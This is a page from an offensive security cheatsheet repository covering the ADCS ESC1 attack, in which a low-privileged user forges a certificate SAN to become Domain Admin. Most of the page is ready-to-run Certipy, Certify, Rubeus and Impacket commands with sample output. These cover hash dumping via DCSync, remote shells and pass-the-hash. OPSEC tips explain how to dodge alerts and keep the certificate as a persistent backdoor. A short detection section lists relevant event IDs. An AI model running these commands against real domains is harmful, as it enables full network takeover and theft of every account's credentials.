daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

attack-27-esc1-san-specification-in-template.md (17053B)


      1 ---
      2 title: "Attack #27 β€” ESC1 SAN Specification in Template"
      3 description: "ESC1 is the most impactful and commonly exploited ADCS vulnerability β€” a misconfigured certificate template that allows any low-privileged domain user to…"
      4 category: active-directory
      5 subcategory: "ADCS & Certificates"
      6 tags: ["active-directory", "kerberos", "adcs", "privilege-escalation"]
      7 tools: ["NetExec", "Impacket", "Rubeus", "Certipy", "Evil-WinRM"]
      8 difficulty: advanced
      9 updated: "2026-08-10"
     10 source: "vault:ActiveDirectory/AD-Attack/Category-Four/🟒 Attack #27 β€” ESC1 SAN Specification in Template.md"
     11 ---
     12 # 🟒 Attack #27 β€” ESC1: SAN Specification in Certificate Template
     13 
     14 ***
     15 
     16 ## πŸ“– How It Works
     17 
     18 ESC1 is **the most impactful and commonly exploited ADCS vulnerability** β€” a misconfigured certificate template that allows any low-privileged domain user to request a certificate that impersonates any other user in the domain, including Domain Admins. The attacker specifies an arbitrary **Subject Alternative Name (SAN)** in the certificate request, and the Certificate Authority (CA) blindly issues a certificate for that identity. The attacker then uses the issued certificate to authenticate as the target user via PKINIT (Kerberos certificate-based authentication), effectively achieving **instant domain compromise from a standard domain user account**.
     19 
     20 ### The Four Conditions That Create ESC1
     21 
     22 All four conditions must be true simultaneously for a template to be vulnerable:
     23 
     24 | # | Condition | Template Setting | Why It's Dangerous |
     25 |---|---|---|---|
     26 | 1 | **Enrollee Supplies Subject** | `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` enabled ("Supply in the request") | The requester β€” not Active Directory β€” defines the identity in the certificate |
     27 | 2 | **Authentication EKU** | `Client Authentication`, `Smart Card Logon`, `PKINIT Client Authentication`, or `Any Purpose` | The certificate can be used to authenticate to the domain |
     28 | 3 | **Permissive Enrollment** | `Domain Users`, `Authenticated Users`, or similar group has Enroll/AutoEnroll rights | Any domain user can request certificates from this template |
     29 | 4 | **No Manager Approval** | Manager Approval is NOT required | Requests are processed immediately without human review |
     30 
     31 ### How the Attack Works Step-by-Step
     32 
     33 ```
     34 1. Enumerate ADCS environment β€” find CAs and vulnerable templates
     35 2. Identify a template with all 4 ESC1 conditions met
     36 3. Request a certificate from the vulnerable template
     37 4. In the request, specify the SAN as the target user's UPN (e.g., Administrator@corp.local)
     38 5. The CA issues a certificate with the target's identity embedded
     39 6. Use the certificate to authenticate via PKINIT (Kerberos)
     40 7. Receive a TGT as the target user β€” you ARE the Domain Admin now
     41 8. Extract the NT hash via U2U (UnPAC-the-Hash) for pass-the-hash
     42 ```
     43 
     44 ### Why This Works
     45 
     46 Active Directory Certificate Services was designed to allow flexibility in certificate issuance β€” the "Supply in the request" option was intended for scenarios where the certificate subject doesn't match the requesting user (web servers, code signing, etc.). But when this is combined with an authentication EKU, the CA creates a certificate that proves the holder IS the person named in the SAN β€” and the Domain Controller accepts this as valid PKINIT authentication. The CA never verifies that the requester is authorized to impersonate the SAN identity.
     47 
     48 ***
     49 
     50 ## βš™οΈ Prerequisites
     51 
     52 | Requirement | Detail |
     53 |---|---|
     54 | **Domain user account** | Any standard domain user β€” "Domain Users" or "Authenticated Users" must have Enroll rights on the template |
     55 | **Network access to CA** | Must reach the CA's enrollment endpoint (RPC, HTTP, or DCOM) |
     56 | **ADCS deployed in domain** | At least one Enterprise CA must exist |
     57 | **Vulnerable template exists** | Template must have all 4 ESC1 conditions simultaneously |
     58 
     59 ***
     60 
     61 ## πŸ› οΈ Tools
     62 
     63 | Tool | Platform | Notes |
     64 |---|---|---|
     65 | **Certipy** | Linux | All-in-one ADCS exploitation β€” `find`, `req`, `auth` subcommands |
     66 | **Certify** | Windows | SharpCollection tool β€” enumerate and request vulnerable certificates |
     67 | **Rubeus** | Windows | PKINIT authentication with obtained certificate |
     68 | **ForgeCert** | Windows | Forge certificates directly (for Golden Certificate attacks) |
     69 | **Impacket β€” getTGT.py** | Linux | PKINIT authentication with `.pfx` or `.ccache` |
     70 | **openssl** | Linux/Windows | Convert between certificate formats (.pfx, .pem, .p12) |
     71 
     72 ***
     73 
     74 ## πŸ’» Full Commands
     75 
     76 ### πŸ”΅ Step 1 β€” Enumerate Vulnerable Certificate Templates
     77 
     78 #### Certipy (Linux β€” Recommended)
     79 
     80 ```bash
     81 # ── Find all vulnerable templates across the ADCS environment ─────────────────
     82 certipy find -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10
     83 
     84 # Output: Generates text and JSON files with all CA and template info
     85 # Look for: [!] Vulnerabilities: ESC1
     86 
     87 # ── Verbose output β€” show detailed template configuration ─────────────────────
     88 certipy find -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 -stdout
     89 
     90 # ── Filter for vulnerable templates only ──────────────────────────────────────
     91 certipy find -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 \
     92   -vulnerable -stdout
     93 
     94 # Key fields to look for in ESC1-vulnerable templates:
     95 # Template Name:             VulnerableTemplate
     96 # Enrollee Supplies Subject: True              ← CRITICAL β€” this is the ESC1 flag
     97 # Client Authentication:     True              ← Authentication EKU present
     98 # Enrollment Rights:         CORP.LOCAL\Domain Users  ← Low-priv can enroll
     99 # Requires Manager Approval: False             ← No human review
    100 ```
    101 
    102 #### Certify (Windows)
    103 
    104 ```powershell
    105 # ── Find vulnerable templates ─────────────────────────────────────────────────
    106 .\Certify.exe find /vulnerable
    107 
    108 # ── Find templates with specific ESC1 conditions ─────────────────────────────
    109 .\Certify.exe find /enrolleeSuppliesSubject
    110 
    111 # ── Show detailed template info ───────────────────────────────────────────────
    112 .\Certify.exe find /vulnerable /currentuser
    113 
    114 # Key output to look for:
    115 # [!] Vulnerable Certificates Templates :
    116 #     Template           : VulnerableTemplate
    117 #     Enrollee Supplies Subject : True
    118 #     Client Authentication : True
    119 #     Enrollment Rights      : CORP\Domain Users
    120 #     Requires Manager Approval : False
    121 ```
    122 
    123 #### Manual Enumeration (PowerShell)
    124 
    125 ```powershell
    126 # ── Query all certificate templates via LDAP ──────────────────────────────────
    127 Get-ADObject -LDAPFilter '(objectclass=pKICertificateTemplate)' \
    128   -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,$((Get-ADRootDSE).configurationNamingContext)" \
    129   -Properties * | Where-Object { 
    130     $_.msPKI-Certificate-Name-Flag -band 1  # CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
    131   } | Select-Object Name, msPKI-Certificate-Name-Flag, pKIExtendedKeyUsage
    132 
    133 # ── Check enrollment rights ───────────────────────────────────────────────────
    134 $template = Get-ADObject -LDAPFilter '(&(objectclass=pKICertificateTemplate)(cn=VulnerableTemplate))' \
    135   -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,$((Get-ADRootDSE).configurationNamingContext)"
    136 (Get-Acl "AD:$($template.DistinguishedName)").Access | 
    137   Where-Object { $_.ActiveDirectoryRights -match "ExtendedRight" -and $_.ObjectType -eq "0e10c968-78fb-11d2-90d4-00c04f79dc55" }
    138 # ObjectType 0e10c968... = Certificate-Enrollment extended right
    139 ```
    140 
    141 ***
    142 
    143 ### πŸ”΄ Step 2 β€” Request Certificate with Forged SAN
    144 
    145 #### Certipy (Linux β€” Most Common Method)
    146 
    147 ```bash
    148 # ── Request certificate impersonating Administrator ───────────────────────────
    149 certipy req -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 \
    150   -ca CORP-CA \
    151   -template VulnerableTemplate \
    152   -upn Administrator@corp.local
    153 
    154 # Flags explained:
    155 # -ca        = Name of the Certificate Authority (from 'certipy find' output)
    156 # -template  = Vulnerable template name
    157 # -upn       = UPN of the target user to impersonate (Subject Alternative Name)
    158 
    159 # Output: Saved certificate and private key to 'administrator.pfx'
    160 
    161 # ── Request impersonating a specific DA ───────────────────────────────────────
    162 certipy req -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 \
    163   -ca CORP-CA \
    164   -template VulnerableTemplate \
    165   -upn domain_admin@corp.local
    166 
    167 # ── Request using NT hash (Pass-the-Hash authentication to CA) ────────────────
    168 certipy req -u low_user@corp.local -hashes :a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 \
    169   -dc-ip 10.10.10.10 \
    170   -ca CORP-CA \
    171   -template VulnerableTemplate \
    172   -upn Administrator@corp.local
    173 
    174 # ── Request using Kerberos authentication ─────────────────────────────────────
    175 export KRB5CCNAME=low_user.ccache
    176 certipy req -u low_user@corp.local -k -no-pass -dc-ip 10.10.10.10 \
    177   -ca CORP-CA \
    178   -template VulnerableTemplate \
    179   -upn Administrator@corp.local
    180 ```
    181 
    182 #### Certify (Windows)
    183 
    184 ```powershell
    185 # ── Request certificate with alternate SAN ────────────────────────────────────
    186 .\Certify.exe request /ca:DC01.corp.local\CORP-CA \
    187   /template:VulnerableTemplate \
    188   /altname:Administrator
    189 
    190 # Output: Certificate in PEM format
    191 # Copy the entire -----BEGIN RSA PRIVATE KEY----- ... -----END CERTIFICATE-----
    192 # block to a file called cert.pem
    193 
    194 # ── Convert PEM to PFX for use with Rubeus ───────────────────────────────────
    195 openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" \
    196   -export -out administrator.pfx
    197 # Enter export password when prompted (can be blank)
    198 ```
    199 
    200 ***
    201 
    202 ### πŸ”΄ Step 3 β€” Authenticate with the Certificate
    203 
    204 #### Certipy (Linux β€” PKINIT Authentication)
    205 
    206 ```bash
    207 # ── Authenticate using the certificate β€” get TGT + NT hash ───────────────────
    208 certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
    209 
    210 # Output:
    211 # [*] Using principal: administrator@corp.local
    212 # [*] Trying to get TGT...
    213 # [*] Got TGT
    214 # [*] Saved credential cache to 'administrator.ccache'
    215 # [*] Trying to retrieve NT hash for 'administrator'
    216 # [*] Got hash for 'administrator@corp.local': aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe
    217 
    218 # ── Set the ticket and use it ─────────────────────────────────────────────────
    219 export KRB5CCNAME=administrator.ccache
    220 
    221 # DCSync β€” dump all domain hashes
    222 secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local
    223 
    224 # Remote shell
    225 psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local
    226 wmiexec.py -k -no-pass corp.local/Administrator@DC01.corp.local
    227 evil-winrm -i DC01.corp.local -r corp.local
    228 
    229 # ── Or use the extracted NT hash for Pass-the-Hash ────────────────────────────
    230 nxc smb DC01.corp.local -u Administrator \
    231   -H 2b576acbe6bcfda7294d6bd18041b8fe -x "whoami"
    232 
    233 secretsdump.py corp.local/Administrator@DC01.corp.local \
    234   -hashes :2b576acbe6bcfda7294d6bd18041b8fe
    235 ```
    236 
    237 #### Rubeus (Windows β€” PKINIT Authentication)
    238 
    239 ```powershell
    240 # ── Authenticate with the PFX certificate ─────────────────────────────────────
    241 .\Rubeus.exe asktgt /user:Administrator /certificate:administrator.pfx \
    242   /password:<pfx_password> /ptt /nowrap
    243 
    244 # If no password on PFX:
    245 .\Rubeus.exe asktgt /user:Administrator /certificate:administrator.pfx /ptt /nowrap
    246 
    247 # ── Extract NT hash via U2U (UnPAC-the-Hash) ─────────────────────────────────
    248 .\Rubeus.exe asktgt /user:Administrator /certificate:administrator.pfx \
    249   /password:<pfx_password> /getcredentials /nowrap
    250 
    251 # Output includes:
    252 # [*] Getting credentials using U2U
    253 # ServiceName           :  krbtgt/CORP.LOCAL
    254 # CredentialInfo        :
    255 #   NTLM              : 2b576acbe6bcfda7294d6bd18041b8fe  ← DA NT hash
    256 
    257 # ── Verify ────────────────────────────────────────────────────────────────────
    258 klist
    259 dir \\DC01.corp.local\C$
    260 ```
    261 
    262 ***
    263 
    264 ### πŸ”΄ Full Attack Chain β€” ESC1 One-Liner (Linux)
    265 
    266 ```bash
    267 # ── Complete ESC1 exploitation in 3 commands ──────────────────────────────────
    268 
    269 # 1. Find vulnerable templates
    270 certipy find -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 -vulnerable -stdout
    271 
    272 # 2. Request certificate as Administrator
    273 certipy req -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 \
    274   -ca CORP-CA -template VulnerableTemplate -upn Administrator@corp.local
    275 
    276 # 3. Authenticate and get TGT + NT hash
    277 certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
    278 
    279 # 4. Own the domain
    280 export KRB5CCNAME=administrator.ccache
    281 secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local -just-dc-ntlm
    282 ```
    283 
    284 ***
    285 
    286 ## 🎯 OPSEC Tips
    287 
    288 - **ESC1 is loud** β€” the certificate request is logged on the CA server; Event ID 4887 records every certificate issuance including the SAN
    289 - **Certificate-based persistence is powerful** β€” the issued certificate is valid for the template's validity period (often 1-2 years); even if the target user's password changes, the certificate remains valid
    290 - **Don't request certificates for obvious accounts** β€” requesting a cert for "Administrator" may trigger alerts; consider targeting less-monitored DA accounts
    291 - **Clean up certificates** β€” issued certificates can be revoked by the CA administrator; keep your PFX file safe, it's your persistent backdoor
    292 - **Check for enrollment restrictions** β€” some templates have additional enrollment restrictions like authorized signatures or issuance policies that may block your request
    293 - **The CA name matters** β€” you need the exact CA name (e.g., `CORP-CA`, not `CORP-CA-01`); get this from `certipy find` output
    294 
    295 ***
    296 
    297 ## πŸ›‘οΈ Detection β€” Event IDs
    298 
    299 | Event ID | Source | What to Look For |
    300 |---|---|---|
    301 | **4886** | Security Log (CA) | Certificate Services received a certificate request |
    302 | **4887** | Security Log (CA) | Certificate Services approved a certificate request and issued a certificate β€” **check the SAN field** |
    303 | **4768** | Security Log (DC) | TGT requested using certificate (PKINIT) β€” Pre-Authentication Type = 16 (certificate) |
    304 | **4769** | Security Log (DC) | TGS requested using PKINIT-obtained TGT |
    305 | **4624** | Security Log (DC) | Logon with certificate-based authentication |
    306 
    307 **Primary detection signature:** Monitor CA event logs for **Event ID 4887** where the **Subject Alternative Name does not match the requesting user**. If `low_user` requests a certificate where the SAN contains `Administrator@corp.local`, that is a definitive ESC1 exploitation indicator. Additionally, alert on PKINIT authentication from accounts that don't normally use smart card or certificate-based logon (Event 4768 with Pre-Auth Type 16).
    308 
    309 ***
    310 
    311 ## πŸ”— Attack Chain Context
    312 
    313 ```
    314 [ESC1] ──→ Instant Domain Admin from Domain User
    315          β”‚
    316          β”œβ”€β”€β†’ πŸ”‘ Certificate = persistent auth token (valid for months/years)
    317          β”œβ”€β”€β†’ 🩸 Extract NT hash via UnPAC-the-Hash β†’ Pass-the-Hash everywhere
    318          β”œβ”€β”€β†’ πŸ“‹ DCSync with obtained DA access β†’ dump all domain hashes
    319          β”œβ”€β”€β†’ 🎫 Golden Ticket forging with extracted KRBTGT hash (Attack #11)
    320          β”œβ”€β”€β†’ πŸ”„ Certificate survives password changes β€” only revocation kills it
    321          β”œβ”€β”€β†’ πŸ”— Chain with: ESC4 (#30) β€” if you have write permissions on templates
    322          └──→ πŸ’€ Defeated by: remove ENROLLEE_SUPPLIES_SUBJECT flag, require manager approval
    323 ```
    324 
    325 **ESC1 is the single most impactful ADCS vulnerability.** In real-world pentests, it is found in approximately 50-75% of environments with ADCS deployed, because the default "User" and "Web Server" templates often have the vulnerable configuration. A single ESC1-vulnerable template turns every domain user into a potential Domain Admin.
    326 
    327 ***
    328 
    329 > βœ… **Attack #27 β€” ESC1 complete.**